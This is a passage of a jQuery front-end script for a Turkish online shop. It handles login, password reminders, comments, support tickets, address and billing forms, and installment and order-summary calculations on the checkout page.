﻿$(document).ready(function(){
	
	$('a#link-giris-yap, a#link-kayit-ol, a#link-profil').click(function(e){
		e.preventDefault();
		$("div#login-panel").slideDown("slow");
		$('a#link-panel-kapat').show();
		$('span#linkler').hide();
	});
	$('a#link-panel-kapat').click(function(e){
		e.preventDefault();
		$("div#login-panel").slideUp("slow");
		$('span#linkler').show();
		$(this).hide();
	});
		
		
	$('form.form1 input.input1').focus(function(){
		$(this).addClass('input1Focus');
	}).blur(function(){
		$(this).removeClass('input1Focus');
	});
	
	$('#yorum-list').jScrollPane({showArrows:true});

	$('.yukari-link').click(function(e){
		e.preventDefault();
		$.scrollTo('#yukari', 800, {offset:-140});
	});
	$('.kurumsal-list2 a:not(.nofollow)').click(function(e){
		e.preventDefault();
		$.scrollTo('#'+$(this).attr('href'), 800, {offset:-48});
	});


	// login-panel-login-form
	$('#login-panel-login-form').submit(function(e){
		e.preventDefault();
		
		$i = $('#login-loader');
		$d = $('#login-info');
		$d.hide();
		e = 0;
		$('#kullanici, #sifre', '#login-panel-login-form').each(function(){
			$t = $(this);
			if ($.trim($t.val()) == '') {
				$t.addClass('zorunlu-alan');
				e++;
			}
			else
				$t.removeClass('zorunlu-alan');
		});
		
		if (e > 0) {
			$d.removeClass('info-basarili5').addClass('info-hata5').html('Lütfen zorunlu alanları doldurunuz.').show();
			return false;
		}
		
		$.ajax({
			type: 'POST',
			url: _ROOT2+'/uye/giris',
			data: $('#login-panel-login-form').serialize(),
			dataType: 'json',
			beforeSend: function(){
				$d.hide();
				$i.show();
			}, 
			success: function(response){ 
				
				if (response[0] == 1) {
					if(response[1] == 'refresh') {
						$d.addClass('info-basarili5').html('giriş işlemi başarılı. yönlendiriliyorsunuz...').show();	
						setTimeout("location.reload(true)", 10);
					}
				}
				else  {
					$i.hide();
					$d.removeClass('info-basarili5').addClass('info-hata5').html(response[1]).show();
				}
			}, 
			error: function(html){ 
				$i.hide();
				$d.removeClass('info-basarili5').addClass('info-hata5').html('Bir hata meydana geldi! Lütfen tekrar deneyiniz.').show(); 
			} 
		});
	});
	
	
	// normal giris sayfasi
	$('#login-form').submit(function(e){
		e = 0;
		$('#kullanici, #sifre').each(function(){
			$t = $(this);
			if ($.trim($t.val()) == '') {
				$t.addClass('zorunlu-alan');
				e++;
			}
			else
				$t.removeClass('zorunlu-alan');
		});
		
		if (e > 0) {
			return false;
		}
	});
	
	
	// sifre-hatirlat-form
	$('#sifre-hatirlat-form').submit(function(e){
		e.preventDefault();
		$i = $('#sifre-hatirlat-loader');
		$d = $('#sifre-hatirlat-info');
		$eposta = $('#sifreEposta');
		$d.hide();
		
		$eposta.removeClass('zorunlu-alan');
		if ($.trim($eposta.val()) == '') {
			$eposta.addClass('zorunlu-alan');
			$d.removeClass('info-basarili').addClass('info-hata').html('Lütfen eposta adresinizi yazınız').show();
			return false;
		}
		
		$.ajax({
			type: 'POST',
			url: _ROOT2+'/uye/sifremi-unuttum',
			data: $('#sifre-hatirlat-form').serialize(),
			dataType: 'json',
			beforeSend: function(){
				$d.hide();
				$i.show();
			}, 
			success: function(response){ 
				$i.hide();
				if (response[0] == 1) {
					$d.removeClass('info-hata').addClass('info-basarili').html(response[1]).show();
					$('#sifre-hatirlatma-div1').hide();
					$('#sifre-hatirlatma-div2').show();
					$eposta.val('');
				}
				else  {
					$d.removeClass('info-basarili').addClass('info-hata').html(response[1]).show();
					$('#sifre-hatirlatma-div1').show();
					$('#sifre-hatirlatma-div2').hide();
				}
			}, 
			error: function(html){ 
				$i.hide();
				$d.removeClass('info-basarili').addClass('info-hata').html('Bir hata meydana geldi! Lütfen tekrar deneyiniz.').show(); 
			} 
		});
	});
	

	// yorumlari goster-gizle :
	$('#butun-yorumlar').click(function(e){
		e.preventDefault();								
		$('li.c1').show();
	});
	$('#urun-yorumlari').click(function(e){
		e.preventDefault();
		$('li.c1').hide();
	});
	
	// yorumlar sayfasindaki link
	$('#yorumlar-uye-girisi').click(function(e){
		e.preventDefault();
		$('a#link-giris-yap').click();
	});
	
	$('#yorumlar-yeni-yorum-link').click(function(e){
		e.preventDefault();
		$.scrollTo('form#yeni-yorum-form', 800);
	});

	
	$('input:text, input:password, select').focus(function(){$(this).removeClass('zorunlu-alan').addClass('input-focus')}).blur(function(){$(this).removeClass('input-focus')});
	$('textarea').focus(function(){$(this).removeClass('zorunlu-alan').addClass('textarea-focus')}).blur(function(){$(this).removeClass('textarea-focus')}).autogrow();
	

	// yeni yorum gonderme formu :
	$('#yeni-yorum-form').submit(function(e){
		e.preventDefault();
		
		$f = $('#yeni-yorum-form');
		$i = $('#yeni-yorum-loader');
		$d = $('#yeni-yorum-info');
		$d.hide();
		
		$('#yeniYorum').removeClass('zorunlu-alan');
		if ($.trim($('#yeniYorum').val()) == '') {
			$('#yeniYorum').addClass('zorunlu-alan');
			$d.removeClass('info-basarili3').addClass('info-hata3').html('boş yorum gönderemezsiniz!').show();
			return false;
		}
		if ($('#kuralKabul:checked').length < 1) {
			$d.removeClass('info-basarili3').addClass('info-hata3').html('kuralları kabul etmelisiniz!').show();
			return false;
		}
			
		$.ajax({
			type: 'POST',
			url: $f.attr('action'),
			data: $f.serialize(),
			dataType: 'json',
			beforeSend: function(){
				$d.hide();
				$i.show();
			}, 
			success: function(response){ 
				$i.hide();
				if (response[0] == 1) {
					$('#yeniYorum').val('');
					$('#yorum-list2-div').prepend('<div class="info-basarili3">'+response[1]+'</div>');
					$('#yorum-list2').html('');
					for (i=2; i<response.length; i++) {
						$('#yorum-list2').append(response[i]);
					}
					$d.removeClass('info-hata3').addClass('info-basarili3').html(response[1]).show();
					$.scrollTo('#icerik-container', 800);
					rankToolTip();
				}
				else  {
					$d.removeClass('info-basarili3').addClass('info-hata3').html(response[1]).show();
				}
			}, 
			error: function(html){ 
				$i.hide();
				$d.removeClass('info-basarili3').addClass('info-hata3').html('Bir hata meydana geldi! Lütfen tekrar deneyiniz.').show(); 
			} 
		});
	});


	// yeni ticket cevap gonderme formu :
	$('#ticket-cevap-form').submit(function(e){
		e.preventDefault();
		
		$f = $('#ticket-cevap-form');
		$i = $('#ticket-cevap-loader');
		$d = $('#ticket-cevap-info');
		$d.hide();
		
		$('#yeniCevap').removeClass('zorunlu-alan');
		if ($.trim($('#yeniCevap').val()) == '') {
			$('#yeniCevap').addClass('zorunlu-alan');
			$d.removeClass('info-basarili3').addClass('info-hata3').html('boş cevap gönderemezsiniz!').show();
			return false;
		}
			
		$.ajax({
			type: 'POST',
			url: $f.attr('action'),
			data: $f.serialize(),
			dataType: 'json',
			beforeSend: function(){
				$d.hide();
				$i.show();
			}, 
			success: function(response){ 
				$i.hide();
				if (response[0] == 1) {
					$('#yeniCevap').val('');
					$('#cevap-list-div').append(response[1]);
				}
				else  {
					$d.removeClass('info-basarili3').addClass('info-hata3').html(response[1]).show();
				}
			}, 
			error: function(html){ 
				$i.hide();
				$d.removeClass('info-basarili3').addClass('info-hata3').html('Bir hata meydana geldi! Lütfen tekrar deneyiniz.').show(); 
			} 
		});
	});
	
	
	
	

	// yeni adres gonderme formu :
	$('#yeni-adres-form').submit(function(e){
		e.preventDefault();
		
		$f = $('#yeni-adres-form');
		$i = $('#yeni-adres-loader');
		$d = $('#yeni-adres-info');
		$d.hide();
		
		e = 0;
		$('#yeniAdres, #yeniAdresIlce, #yeniAdresIl').each(function(){
			$t = $(this);
			if ($.trim($t.val()) == '') {
				$t.addClass('zorunlu-alan');
				e++;
			}
			else
				$t.removeClass('zorunlu-alan');
		});
		
		if (e > 0) {
			$d.removeClass('info-basarili3').addClass('info-hata3').html('Lütfen zorunlu alanları doldurunuz.').show();
			return false;
		}

		$.ajax({
			type: 'POST',
			url: $f.attr('action'),
			data: $f.serialize()+'&mode=new',
			dataType: 'json',
			beforeSend: function(){
				$d.hide();
				$i.show();
			}, 
			success: function(response){ 
				$i.hide();
				if (response[0] == 1) {
					$('#yeniAdres').val(''); 
					$('#yeniAdresIlce').val('');
					$('#adres-yok').hide();
					$d.removeClass('info-hata3').addClass('info-basarili3').html(response[1]).show();
					$('#adres-list').html('');
					for (i=0; i<response[2].length; i++) {
						$('#adres-list').append(response[2][i]);
					}
					adresListHover();
				}
				else  {
					$d.html('');
					for (i=0; i<response[1].length; i++) {
						$d.append(response[1][i]+'<br />');
					}
					$d.removeClass('info-basarili3').addClass('info-hata3').show();
				}
			}, 
			error: function(html){ 
				$i.hide();
				$d.removeClass('info-basarili3').addClass('info-hata3').html('Bir hata meydana geldi! Lütfen tekrar deneyiniz.').show(); 
			} 
		});
	});
	
	
	
	// yeni fatura adres gonderme formu :
	$('#yeni-fatura-adres-form').submit(function(e){
		e.preventDefault();
		
		$f = $('#yeni-fatura-adres-form');
		$i = $('#yeni-fatura-adres-loader');
		$d = $('#yeni-fatura-adres-info');
		$d.hide();
		
		e = 0;
		// bireysel :
		if ($('#faturaTip1:checked').size() == 1) {
			$('#yeniAdresIsim, #yeniAdresSoyisim, #yeniAdres, #yeniAdresIlce, #yeniAdresIl').each(function(){
				$t = $(this);
				if ($.trim($t.val()) == '') {
					$t.addClass('zorunlu-alan');
					e++;
				}
				else
					$t.removeClass('zorunlu-alan');
			});
		}
		// kurumsal
		else if ($('#faturaTip2:checked').size() == 1) {
			$('#yeniAdresFirmaIsim, #yeniAdresVergiDairesi, #yeniAdresVergiNo, #yeniAdres, #yeniAdresIlce, #yeniAdresIl').each(function(){
				$t = $(this);
				if ($.trim($t.val()) == '') {
					$t.addClass('zorunlu-alan');
					e++;
				}
				else
					$t.removeClass('zorunlu-alan');
			});
		}
		else {
			alert('Lütfen bir fatura tipi belirleyiniz');
			return false;
		}
		
		if (e > 0) {
			$d.removeClass('info-basarili3').addClass('info-hata3').html('Lütfen zorunlu alanları doldurunuz.').show();
			return false;
		}

		$.ajax({
			type: 'POST',
			url: $f.attr('action'),
			data: $f.serialize()+'&mode=new',
			dataType: 'json',
			beforeSend: function(){
				$d.hide();
				$i.show();
			}, 
			success: function(response){ 
				$i.hide();
				if (response[0] == 1) {
					$('#yeni-fatura-adres-form input:text, #yeni-fatura-adres-form textarea').val(''); 
					$('#adres-yok').hide();
					$d.removeClass('info-hata3').addClass('info-basarili3').html(response[1]).show();
					$('#fatura-adres-list').html('');
					for (i=0; i<response[2].length; i++) {
						$('#fatura-adres-list').append(response[2][i]);
					}
					adresListHover();
				}
				else  {
					$d.html('');
					for (i=0; i<response[1].length; i++) {
						$d.append(response[1][i]+'<br />');
					}
					$d.removeClass('info-basarili3').addClass('info-hata3').show();
				}
			}, 
			error: function(html){ 
				$i.hide();
				$d.removeClass('info-basarili3').addClass('info-hata3').html('Bir hata meydana geldi! Lütfen tekrar deneyiniz.').show(); 
			} 
		});
	});
	
	
	// index login formu :
	$('#index-login-form').submit(function(e){
		e = 0;
		$('#kullanici3, #sifre3').each(function(){
			$t = $(this);
			if ($.trim($t.val()) == '') {
				$t.addClass('zorunlu-alan');
				e++;
			}
			else
				$t.removeClass('zorunlu-alan');
		});
		
		if (e > 0)  
			return false;
	});
	
	
	// bize yazin formu :
	$('#iletisim-form').submit(function(e){
		e.preventDefault();
		
		$f = $('#iletisim-form');
		$i = $('#iletisim-loader');
		$d = $('#iletisim-info');
		$d.hide();
		
		e = 0;
		$('#mesaj, #isim, #soyisim, #email','#iletisim-form').each(function(){
			$t = $(this);
			if ($.trim($t.val()) == '') {
				$t.addClass('zorunlu-alan');
				e++;
			}
			else
				$t.removeClass('zorunlu-alan');
		});
		
		if (e > 0) {
			//$d.removeClass('info-basarili').addClass('info-hata').html('Lütfen zorunlu alanları doldurunuz.').show();
			return false;
		}
		
		$.ajax({
			type: 'POST',
			url: $f.attr('action'),
			data: $f.serialize(),
			dataType: 'json',
			beforeSend: function(){
				$('#iletisim-div1').hide();
				$('.form-hata').hide();
				$d.hide();
				$i.css('visibility', 'visible');
			}, 
			success: function(response){ 
				$i.css('visibility', 'hidden');
				if (response[0] == 1) {
					$('#iletisim-div1').show();
					$('#mesaj, #isim, #soyisim, #email', '#iletisim-form').each(function(){
						$(this).val('').blur();
					});
					$.scrollTo('body', 800);
				}
				else {
					$.each(response[1], function(key, value){
						$x = $('#'+value.field);
						$x.addClass('zorunlu-alan');
						$x.after('<span class="form-hata"><img src="'+_ROOT2+'/images/information.gif" alt="'+value.error+'" title="'+value.error+'" class="vam">&nbsp;&nbsp;'+value.error+'</span>');
					});
				}
			}, 
			error: function(html){ 
				$i.css('visibility', 'hidden');
				$d.removeClass('info-basarili').addClass('info-hata').html('Bir hata meydana geldi! Lütfen tekrar deneyiniz.').show(); 
			} 
		});
	});


	// sifre-degistir formu :
	$('#sifre-degistir-form').submit(function(e){
		e = 0;
		$('#sifre-degistir-form input:password').each(function(){
			$t = $(this);
			if ($.trim($t.val()) == '') {
				$t.addClass('zorunlu-alan');
				e++;
			}
			else
				$t.removeClass('zorunlu-alan');
		});
		
		if (e > 0) {
			return false;
		}
	});

	
	// siparis sayfasi - adet secimi:
	$('div.siparis-adet').hover(
		function(){
			$(this).addClass('siparis-adet-hover'); 
		},
		function(){
			$selected = $('input#hid_urun_adet').val();
			if ($(this).attr('id') != 'adet_'+$selected)
				$(this).removeClass('siparis-adet-hover'); 
		}
	).click(function(){
		$adet = $(this).attr('id').substr(5);
		$('input#hid_urun_adet').val($adet);
		$('div.siparis-adet').removeClass('siparis-adet-hover'); 
		$(this).addClass('siparis-adet-hover'); 
		
		// urun ozelliklerini gosteriyoruz veya sakliyoruz :
		$('.siparis-urun-ozellik:lt('+$adet+')').show();
		$('.siparis-urun-ozellik:gt('+($adet-1)+')').hide();
		
		taksitTablo();
		siparisOzet();
	});
	
	// siparis sayfasi - adres listesi ve adres ekleme formu
	$('input#urun_adres1').click(function(){
		$('#urun_adres1-div').show();
		$('#urun_adres2-div').hide();
	});
	$('input#urun_adres2').click(function(){
		$('#urun_adres2-div').show();
		$('#urun_adres1-div').hide();
	});
	
	// siparis sayfasi - fatura adres listesi ve adres ekleme formu
	$('input#fatura_adres1').click(function(){
		$('#fatura_adres1-div').show();
		$('#fatura_adres2-div').hide();
	});
	$('input#fatura_adres2').click(function(){
		$('#fatura_adres2-div').show();
		$('#fatura_adres1-div').hide();
	});
	
	
	// siparis sayfasi - eski adresler listesi
	$('#siparis-adres-list li').hover(
		function(){
			$(this).addClass('hover'); 
		}, 
		function(){
			$selected = $('input[name=urun_eski_adres]:checked').val();
			if ($(this).attr('id') != 'adresList'+$selected)
				$(this).removeClass('hover');
		}
	).click(function(){
		$('input:radio', this).attr('checked', 'checked');
		$('#siparis-adres-list li').removeClass('hover');
		$(this).addClass('hover'); 
	});
	
	
	// siparis sayfasi - eski fatura adresleri listesi
	$('#siparis-fatura-adres-list li').hover(
		function(){
			$(this).addClass('hover'); 
		}, 
		function(){
			$selected = $('input[name=urun_eski_fatura_adres]:checked').val();
			if ($(this).attr('id') != 'faturaAdresList'+$selected)
				$(this).removeClass('hover');
		}
	).click(function(){
		$('input:radio', this).attr('checked', 'checked');
		$('#siparis-fatura-adres-list li').removeClass('hover');
		$(this).addClass('hover'); 
	});
	
	
	// siparis sayfasi - kargo secimi:
	$('div.siparis-kargo').hover(
		function(){
			$(this).addClass('siparis-kargo-hover'); 
		},
		function(){
			$selected = $('input[name=kargo]:checked').val();
			if ($(this).attr('id') != 'kargoDiv'+$selected)
				$(this).removeClass('siparis-kargo-hover'); 
		}
	).click(function(){
		$selected = $('input[name=kargo]:checked').val();
		// eger zaten secili degilse :
		if ($(this).attr('id') != 'kargoDiv'+$selected) {
			$('input:radio', this).attr('checked', 'checked');
			$('div.siparis-kargo').removeClass('siparis-kargo-hover');
			$(this).addClass('siparis-kargo-hover');
			$('input#hid_kargo').val($('#kargo-fiyat-'+$('input:radio', this).attr('id')).html());
			taksitTablo();
			siparisOzet();
		}
	});
	
	
	// siparis sayfasi - kupon secimi:
	$('#cCode').change(function(){
		taksitTablo();
		siparisOzet();
	});
	

	// siparis sayfasi - kredi karti tipi secme 
	$('input[name=cardTip]').click(function(){
		taksitTablo();
		siparisOzet();
	});
	
	// siparis sayfasi - fatura tip secimi
	$('input#faturaTip1').click(function(){
		$('div#faturaTip1-div').show();
		$('div#faturaTip2-div').hide();
	});
	$('input#faturaTip2').click(function(){
		$('div#faturaTip2-div').show();
		$('div#faturaTip1-div').hide();
	});
	
	
	// siparis sayfasi - fatura adresi formu
	$('input#fatura_adres1').click(function(){
		$('div#fatura_adres2-div').hide();
	});
	$('input#fatura_adres2').click(function(){
		$('div#fatura_adres2-div').show();
	});
	
	// sadece sayi girmece :
	$('#numberOnCard, #sCode, #mobileNumber, #mobileNumberOp').keypress(function(e){
		if((e.which < 48 || e.which > 57) && e.which != 8) {
			e.preventDefault();
			alert('Lütfen Sadece Rakamları Kullanınız');
		}
	});
	
	// eger siparis sayfasi ise yuklendiginde taksit tablosu da yuklenmeli
	// ayrica siparis ozeti hesaplanmali
	// ayrica ozet kutusu kaymali
	if ($('#taksitTablosu').length == 1) {
		taksitTablo($('#hid_taksit').val());
		siparisOzet();
		ozetKutusuKay();
	}
	
	// eger mobil odeme ise 
	// siparis ozeti hesaplanmali
	// ayrica ozet kutusu kaymali
	if ($('#mobileNumberOp').length == 1) {
		siparisOzet();
		ozetKutusuKay();
	}
	
	
	$('#paro-kapat-buton').click(function(){
		$('#paro-container').remove();
		$('#paro-metin').remove();
		$('#overlay').remove();
	});
	

	/** tooltip icin kendi style hazirliyoruz : */
	$.fn.qtip.styles.bi = {
		padding: 5,
		background: '#000',
		color: '#FFF',
		fontSize: '10px',
		fontFamily: 'Verdana',
		textAlign: 'center',
		border: {width:5, radius:5, color:'#000'},
		tip: true,
		name: 'dark' // gerisini dark'tan alsin
	}
	
	$.fn.qtip.styles.bi2 = {
		padding: 5,
		background: '#000',
		color: '#FFF',
		fontSize: '10px',
		fontFamily: 'Verdana',
		textAlign: 'left',
		border: {width:5, radius:5, color:'#000'},
		tip: true,
		name: 'dark' // gerisini dark'tan alsin
	}
	
	bitip('#sol-menu-icon-1', 'rightMiddle', 'leftMiddle');
	bitip('#sol-menu-icon-2', 'rightMiddle', 'leftMiddle');
	bitip('#sol-menu-icon-3', 'rightMiddle', 'leftMiddle');
	bitip('#sol-menu-icon-4', 'rightMiddle', 'leftMiddle');
	bitip('#sol-menu-icon-5', 'rightMiddle', 'leftMiddle');
	bitip('#sol-menu-icon-6', 'rightMiddle', 'leftMiddle');
	bitip('#sol-menu-icon-7', 'rightMiddle', 'leftMiddle');
	
	bitip('#urun-detay-icon-1', 'topMiddle', 'bottomLeft');
	bitip('#urun-detay-icon-2', 'topMiddle', 'bottomLeft');
	bitip('#urun-detay-icon-3', 'topMiddle', 'bottomLeft');
	bitip('#urun-detay-icon-4', 'topMiddle', 'bottomLeft');
	bitip('#urun-detay-icon-5', 'topMiddle', 'bottomLeft');
	bitip('#urun-detay-icon-6', 'topMiddle', 'bottomLeft');
	bitip('#urun-detay-icon-7', 'topMiddle', 'bottomLeft');
	bitip('#urun-yorum-rss-kaynak', 'topMiddle', 'bottomLeft');
	
	
	bitip('#haftalikfirsatnedir', 'topMiddle', 'bottomRight');
	bitip('#gfgd', 'topMiddle', 'bottomRight');
	bitip('#paro-puan-resim', 'topLeft', 'bottomRight');
	
	// bipozz resimlerime tooltip :
	if ($('img.bipozz-resim').length > 0) {
		$('img.bipozz-resim').each(function(){bitip(this, 'topMiddle', 'bottomRight', 'bi2');});
	}
	
	if ($('img.haftalik-firsat').length > 0) {
		$('img.haftalik-firsat').each(function(){bitip(this, 'topMiddle', 'bottomRight', 'bi2');});
	}
	
	if ($('img.gunluk-firsat').length > 0) {
		$('img.gunluk-firsat').each(function(){bitip(this, 'topMiddle', 'bottomRight', 'bi2');});
	}

	$('form#siparis-form').submit(function(){
		$('input#siparis-form-button').attr('disabled', 'disabled');
	});
	
	$('form#davet-form').submit(function(){
		$('input#davet-form-button').attr('disabled', 'disabled');
	});
	
	$('#destek-siparis-bul').click(function(){siparisBul('ticket', 0);});
	$('#siparis-bul-kapat').click(function(e){e.preventDefault(); siparisBulKapat();});
	
});

function rankToolTip()
{
	$(document).ready(function(){
		// ranklere tooltip :
		if ($('img.user-rank').length > 0) {
			$('img.user-rank').each(function(){bitip(this, 'topMiddle', 'bottomLeft', 'bi2');});
		}
	});
}
rankToolTip();


function bitip(e, p, t, _style)
{
	$t = $(e);

	if (!_style)
		_style = 'bi';
	
	$t.qtip({
		content: $t.attr('title'),
		style:{name:''+_style+''},
		position:{corner:{target: p, tooltip: t}}
	}).removeAttr('title').removeAttr('alt');
}

function taksitTablo(tak) {
	$(document).ready(function(){
		// mobil odemede bosu bosuna calismasin diye kontrol :
		if ($('input[name=cardTip]:checked').length < 1)
			return false;
							   
		hesapID = $('input[name=cardTip]:checked').val(); 
		kargo = parseFloat($('#hid_kargo').val());
		adet = $('#hid_urun_adet').val();
		if (parseInt(tak) > 0)
			taksit = tak;
		else {
			taksit = $('input[name=taksit]:checked').val();
			if (!taksit || taksit == 'undefined')
				taksit = 1;
		}
		
		//kupon varsa :
		$ccode = 0;
		if ($('#cCode').length > 0) {
		  $ccode = $('#cCode').val();
		}
		
		$.ajax({
			type: 'GET',
			url: _ROOT2+'/taksitTablo.php',
			data: {'accID':hesapID, 'adet':adet, 'kargo':kargo, 'taksit':taksit, 'ccode':$ccode,  'cachId':Math.random()*10000},
			beforeSend: function(){
				$('#taksitTablosu').html('<div class="div26">Taksit tablosu oluşturuluyor...<br /><img src="'+_ROOT2+'/images/loader2.gif" class="mt20" /></div>');	
			}, 
			success: function(response){ 
				$('#taksitTablosu').html(response);	
				// siparis sayfasi - taksit listesinden taksit secme
				siparisOzet();
				$('.taksit-tablo tr').hover(
					function(){
						$(this).addClass('hover'); 
						//$('div, strong', this).addClass('hover'); 
					}, 
					function(){
						$selected = $('input[name=taksit]:checked').val();
						if ($(this).attr('id') != 't_'+$selected)
							$(this).removeClass('hover');
					}
				).click(function(){
					$('input:radio', this).attr('checked', 'cheodcked');
					$('.taksit-tablo tr').removeClass('hover');
					$(this).addClass('hover'); 
					siparisOzet();
				});
				
				bitip('#vf', 'topMiddle', 'bottomRight');
			}, 
			error: function(html){ 
				alert('Bir hata meydana geldi! Lütfen tekrar deneyiniz.'); 
			} 
		});	
	});
}

function siparisOzet()
{
	$(document).ready(function () {  
		$type = 'siparis';
		if ($('input[name=cardTip]:checked').length < 1)
			$type = 'mobil';		
		
		// eger kupon varsa :
		$kupon = 0;
		$ccode = $('#cCode');
		if ($ccode.length > 0) {
			$ccode2 = $('#cCode option:selected');
      		$kupon = parseFloat(($ccode2.attr('id')).substr((($ccode.val()).length)+2));
		}
		
		$birimFiyat 	= parseFloat($('#hid_birim_fiyat').val());
		$adet 			= parseFloat($('#hid_urun_adet').val());
		$toplam 		= parseFloat(($birimFiyat * $adet));
		//$kdvsizFiyat	= parseFloat($birimFiyat/1.18);
		//$kdv          = parseFloat($toplam*18/118);
		$kargo 			= parseFloat($('#hid_kargo').val());
		$genelToplam 	= parseFloat($toplam - $kupon);
		if ($genelToplam < 0) $genelToplam = 0;
		$genelToplam 	+= $kargo;	

		
		if ($type == 'siparis') {
			$taksit			= parseInt($('input[name=taksit]:checked').val());
			if (!$taksit || $taksit == 'undefined')
				$taksit = 1;
			$taksit2 = $taksit;
			if ($taksit == 1)
				$taksit2 = 'tek çekim';
				
			$odenecekTutar1 = '-';
			$odenecekTutar2 = '-';
			if ($('tr#t_'+$taksit).length > 0) {
				$odenecekTutar1 = $('tr#t_'+$taksit+' td:eq(4) span:eq(1)').text();
				$odenecekTutar2 = $('tr#t_'+$taksit+' td:eq(4) span:eq(0)').text();
				//$odenecekTutar1 = $('#f_'+$taksit+'_1').text();
				//$odenecekTutar2 = $('#f_'+$taksit+'_2').text();
			}
		}
		$output = '<li class="list-sol">Birim Fiyat (KDV dahil)</li>';
		$output+= '<li class="list-sag">'+$birimFiyat.toFixed(2)+' TL</li>';
		$output+= '<li class="list-cb"></li>';
		
		$output+= '<li class="list-sol">Toplam Fiyat ('+$adet+' adet)</li>';
		$output+= '<li class="list-sag">'+$toplam.toFixed(2)+' TL</li>';
		$output+= '<li class="list-cb"></li>';
		
		if ($type == 'siparis' && $kupon > 0) {
		    $output += '<li class="list-sol red">İndirim Kuponunuz</li>';
			$output += '<li class="list-sag red">-'+$kupon.toFixed(2)+' TL</li>';
		}
		
		$output+= '<li class="list-sol">Kargo</li>';
		$output+= '<li class="list-sag">'+$kargo.toFixed(2)+' TL</li>';
		$output+= '<li class="list-cb"></li>';
		
		$output+= '<li class="list-sol">Genel Toplam</li>';
		$output+= '<li class="list-sag">'+$genelToplam.toFixed(2)+' TL</li>';
		$output+= '<li class="list-cb"></li>';
		
		if ($type == 'siparis') {
			$output += '<li class="list-sol">Taksit</li>';
			$output += '<li class="list-sag">'+$taksit2+'</li>';
			$output += '<li class="list-cb"></li>';
			
			if ($taksit > 1) {
				$output += '<li class="list-sol">Aylık Taksit Tutarı</li>';
				$output += '<li class="list-sag">'+$('tr#t_'+$taksit+' td:eq(3)').text()+'</li>';
				$output += '<li class="list-cb"></li>';
			}
			
			$output+= '<li class="list-sol">Ödenecek Tutar</li>';
			$output+= '<li class="list-sag">'+$odenecekTutar2+'</li>';
			$output+= '<li class="list-cb"></li>';
		}

		$output+= '<li class="cb"></li>';
		$('#siparis-ozet-list').html($output);
	});
}


function siparisOzet_eski()
{
	$(document).ready(function () {  
		$type = 'siparis';
		if ($('input[name=cardTip]:checked').length < 1)
			$type = 'mobil';		
		
		// eger kupon varsa :
		$kupon = 0;
		$ccode = $('#cCode');
		if ($ccode.length > 0) {
		  $ccode2 = $('#cCode option:selected');
      $kupon = parseFloat(($ccode2.attr('id')).substr((($ccode.val()).length)+2));
		}
		
    $birimFiyat 	= parseFloat($('#hid_birim_fiyat').val());
    $adet 			  = parseFloat($('#hid_urun_adet').val());
    $toplam 		  = parseFloat(($birimFiyat * $adet));
    //$kdvsizFiyat	= parseFloat($birimFiyat/1.18);
    $kdv          = parseFloat($toplam*18/118);
    $kargo 			  = parseFloat($('#hid_kargo').val());
    $genelToplam 	= parseFloat($toplam + $kargo);

		
		if ($type == 'siparis') {
			$taksit			= parseInt($('input[name=taksit]:checked').val());
			if (!$taksit || $taksit == 'undefined')
					$taksit = 1;
			$taksit2 = $taksit;
			if ($taksit == 1)
				$taksit2 = 'tek geçiş';
				
			$odenecekTutar1 = '-';
			$odenecekTutar2 = '-';
			if ($('tr#t_'+$taksit).length > 0) {
				$odenecekTutar1 = $('tr#t_'+$taksit+' td:eq(4) span:eq(1)').text();
				$odenecekTutar2 = $('tr#t_'+$taksit+' td:eq(4) span:eq(0)').text();
				//$odenecekTutar1 = $('#f_'+$taksit+'_1').text();
				//$odenecekTutar2 = $('#f_'+$taksit+'_2').text();
			}
		}
		$output = '<li class="list-sol">Adet Fiyatı (kdv dahil)</li><li class="list-sag">'+$birimFiyat.toFixed(2)+' TL</li><li class="list-cb"></li><li class="list-sol">Toplam Fiyat ('+$adet+' adet)</li><li class="list-sag">'+$toplam.toFixed(2)+' TL</li><li class="list-cb"></li><li class="list-sol">Kargo</li><li class="list-sag">'+$kargo+' TL</li><li class="list-cb"></li><li class="list-sol">Toplam KDV</li><li class="list-sag">'+$kdv.toFixed(2)+' TL</li><li class="list-cb"></li><li class="list-sol">Genel Toplam</li><li class="list-sag">'+$genelToplam.toFixed(2)+' TL</li>';
		if ($type == 'siparis') {
			$output += '<li class="list-cb"></li><li class="list-sol">Taksit</li><li class="list-sag">'+$taksit2+'</li><li class="list-cb"></li><li class="list-sol">Ödenecek Tutar</li><li class="list-sag">'+$odenecekTutar1+'</li>';	
			if ($kupon > 0) {
		    $output += '<li class="list-sol red">İndirim Kuponunuz</li><li class="list-sag red">-'+$kupon.toFixed(2)+' TL</li><li class="list-cb"></li><li class="list-sol">Ödenecek Tutar</li><li class="list-sag">'+$odenecekTutar2+'</li><li class="list-cb"></li>';
		  }
		}
		
		
		
		$output+= '<li class="cb"></li>';
		$('#siparis-ozet-list').html($output);
	});
}

function adresListHover()
{
	$(document).ready(function(){
		$('#adres-list li, #fatura-adres-list li').hover(
			function(){$(this).addClass('hover'); $('div, strong', this).addClass('hover'); }, 
			function(){$(this).removeClass('hover');}
		);
	});
}
adresListHover();
	
		
function popup(_url, _w, _h)
{
	_top = ($(window).height() - _h ) / 2;
	_left = ($(window).width() - _w ) / 2;
	window.open(_url, 'tech'+Math.floor(Math.random()*100), 'width='+_w+'px, height='+_h+'px, top='+_top+'px, left='+_left+'px, scrollbars=1, menubar=0, resizable=0');
}
	
function lbOn()
{
	$('body').prepend('<div id="overlay"></div>');
	$('#overlay').css({width:$(document).width(), height:$(document).height(), opacity:0.3 }).show();
}
function lbOff()
{
	$('#overlay').remove();
}

function adresSil(_id)
{
	if (confirm('bu adresi silmek istiyor musunuz?')) {
		$i = $('#adresResim'+_id);
		$eski = $i.attr('src');
		$('#adresList'+_id).addClass('hover2');
		$.ajax({
			type: 'POST',
			url: _ROOT+'/uye/adres-listesi',
			data: 'mode=del&id='+_id,
			dataType: 'json',
			beforeSend: function(){
				$i.attr('src', _ROOT2+'/images/loader3.gif');
			}, 
			success: function(response){ 
				if (response[0] == 1) {
					$('#adresList'+_id).hide();
				}
				else {
					$i.attr('src', $eski);
					alert(response[1]);
				}
			}, 
			error: function(html){ 
				$i.attr('src', $eski);
				alert('Bir hata meydana geldi! Lütfen tekrar deneyiniz.'); 
			} 
		});	
	}
}

function faturaAdresSil(_id)
{
	if (confirm('bu adresi silmek istiyor musunuz?')) {
		$i = $('#adresResim'+_id);
		$eski = $i.attr('src');
		$('#faturaAdresList'+_id).addClass('hover2');
		$.ajax({
			type: 'POST',
